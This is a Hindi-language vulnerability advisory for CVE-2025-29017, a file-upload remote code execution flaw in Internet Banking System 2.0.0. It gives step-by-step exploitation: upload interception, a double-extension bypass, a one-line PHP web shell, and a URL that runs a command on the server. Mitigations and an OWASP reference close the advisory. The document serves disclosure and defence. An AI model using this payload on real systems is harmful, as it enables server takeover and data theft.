CVE-2025-29017 - Internet Banking System 2.0.0 में प्रोफ़ाइल चित्र अपलोड के माध्यम से रिमोट कोड निष्पादन
विवरण
Code Astro Internet Banking System 2.0.0 में अनुचित फ़ाइल अपलोड सत्यापन के कारण रिमोट कोड निष्पादन (RCE) भेद्यता मौजूद है, जो pages_view_client.php के भीतर profile_pic पैरामीटर में है। हमलावर अपलोड अनुरोध को संशोधित करके सुरक्षा जाँचों को बायपास कर सकते हैं, जिससे मनमाना कोड निष्पादन होता है।
प्रभावित घटक
pages_view_client.php में profile_pic पैरामीटर
- अपलोड फ़ंक्शन दुर्भावनापूर्ण PHP फ़ाइल निष्पादन की अनुमति देता है
शोषण के चरण
- उपयोगकर्ता प्रोफ़ाइल सेटिंग्स पर जाएँ और नया प्रोफ़ाइल चित्र चुनें।


- Burp Suite जैसे टूल का उपयोग करके प्रोफ़ाइल चित्र अपलोड अनुरोध को इंटरसेप्ट करें।

- फ़ाइल को डबल एक्सटेंशन (.jpeg.php) में संशोधित करें, Content-Type हेडर को application/x-php में बदलें और दुर्भावनापूर्ण PHP कोड जोड़ें:
<?php system($_GET['cmd']); ?>


- आप जाँच सकते हैं कि फ़ाइल /admin/dist/img/ पर अपलोड हुई है या नहीं:
http://IP:PORT/InternetBanking-php/admin/dist/img/image.jpeg.php?cmd=type C:\Users\file.txt

प्रभाव
- पूर्ण सर्वर समझौता
- डेटा चोरी
- विशेषाधिकार वृद्धि
शमन
- फ़ाइल अपलोड को केवल छवि प्रारूपों तक सीमित रखें और MIME प्रकार सत्यापित करें।
- फ़ाइलनाम साफ़ करें और निष्पादन योग्य कोड वाली फ़ाइलों को ब्लॉक करें।
- अपलोड की गई फ़ाइलों को वेब रूट के बाहर संग्रहीत करें।
संदर्भ
- OWASP File Upload Security